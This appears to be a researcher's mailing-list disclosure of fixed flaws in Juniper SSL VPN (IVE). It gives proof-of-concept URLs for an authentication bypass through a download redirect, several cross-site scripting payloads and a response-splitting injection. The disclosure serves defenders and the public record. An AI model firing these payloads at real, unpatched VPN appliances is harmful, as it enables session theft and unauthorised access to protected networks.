This reminded me of a bunch of problems I spotted in Juniper SSL VPN a
while ago; they are apparently fixed, but I don't recall seeing any
public vendor advisory / credit for reporting them - so here you go,
even if just for the record...

These were fixed by Juniper in IVE 6.3R1, 6.2R3, 6.1R5, 6.0R8, and 5.5
R7.1 over a year ago.

1) Auth bypass - IVE permitted just about any script on the box to be
invoked without authentication by going through a
/dana-na/download/?url= hop, for example:

https://<IVE>/dana-na/download/?url=/dana/home/launch.cgi?url=http://www.example.com/

2) XSS flaws (which are pretty bad in SSL VPN appliances, because they
completely trash the security model of this access mode):

This worked in IVE 6.2:
https://<IVE>/dana-na/meeting/meeting_testresult.cgi?redir=%2Fdana-na%2Fmeeting%2Flogin_meeting.cgi%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&java=1

This worked with IVE 5.5 & Firefox:
https://<IVE>/dana-na/download/?url=/dana/home/launch.cgi?url=data:text/html%3bbase64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ%2b

This worked with IVE 5.5 & MSIE:
https://<IVE>/dana-na/download/?url=/dana/home/launch.cgi?url=vbscript:MsgBox(%2522Hi%2522)

XSS + response splitting:

/dana-na/download/?url=/dana/fb/smb/wfmd.cgi?file=AAAAAAA%0aRefresh:%201,URL=javascript:alert(1)%0aFoo:%0a%0a

And some more vanilla XSSes:

/dana/fb/smb/rd.cgi?si=%22)%3balert(1)%3b</script>

/dana/fb/smb/wu.cgi?dir=foo%22><script>alert(1)%3b</script>

/mz